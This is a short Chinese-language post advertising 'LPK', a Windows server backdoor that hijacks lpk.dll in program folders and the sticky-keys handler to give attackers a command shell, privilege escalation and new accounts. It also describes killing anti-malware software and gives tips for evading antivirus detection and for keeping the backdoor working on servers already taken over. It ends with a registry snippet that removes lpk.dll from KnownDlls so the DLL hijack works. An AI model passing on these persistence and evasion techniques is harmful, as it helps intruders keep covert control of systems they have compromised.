直接介绍什么是Lpk:是Rices神牛写的一款服务器后门。功能异常强悍。

强悍之处:把生成出来的LPK放到可执行文件的目录中（比如IE SU ...)一些常用的软件目录里。只要管理员一运行就会调用LPK

使用教程：http://rices.so/lpk2.html

只要粘滞键为可用状态,可以保证100%劫持!完全兼容(2K/2K3/XP/08/VISTA/WIN7)..

其次吸取了一些人的建议,觉得有的系统确实不支持sethc,所以增加了全新的LPK提权功能(可直接执行CMD/API加帐号!)其他的就是一些小功能了,比如内置了结束星外杀马以及在粘滞键运行权限不可用的时候解除限制!还有就是有的朋友觉得3键不好按,所以这次可以设置2键或者3键启动!

直接调用shift

这次的后门增加了一些常用功能,首先要说的是可以自定义CMD的路径了!不会再担心什么CMD被锁等!

附两张WIN7下的后门运行图片,完全兼容:

其他说明：
1.免杀的话请直接针对目录下的LPK.DAT文件进行处理即可
2.针对无SETHC.EXE文件的系统,粘滞键后门将无法正常启动(如果已经拿到服务器的情况下建议自行拷贝系统粘滞键到服务器的SYSTEM32目录!以保证后门的正常启动)
3.无SETHC.EXE文件的系统完全不影响LPK的使用,CMD照样执行,帐户也照样加!
4.密码依然采用32位MD5加密,只要密码强度够,后门被下载也无济于事!
5.热键比如同时按下,而不是先按下A键,再按下B键!否则无法呼出!
6.为何不写感染?因为本工具初衷就是后门和辅助提权,如果严重破坏到系统就不好了

Windows Registry Editor Version 5.00[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager]“ExcludeFromKnownDlls”=hex(7):6c,00,70,00,6b,00,2e,00,64,00,6c,00,6c,00,00,00,\00,00

后门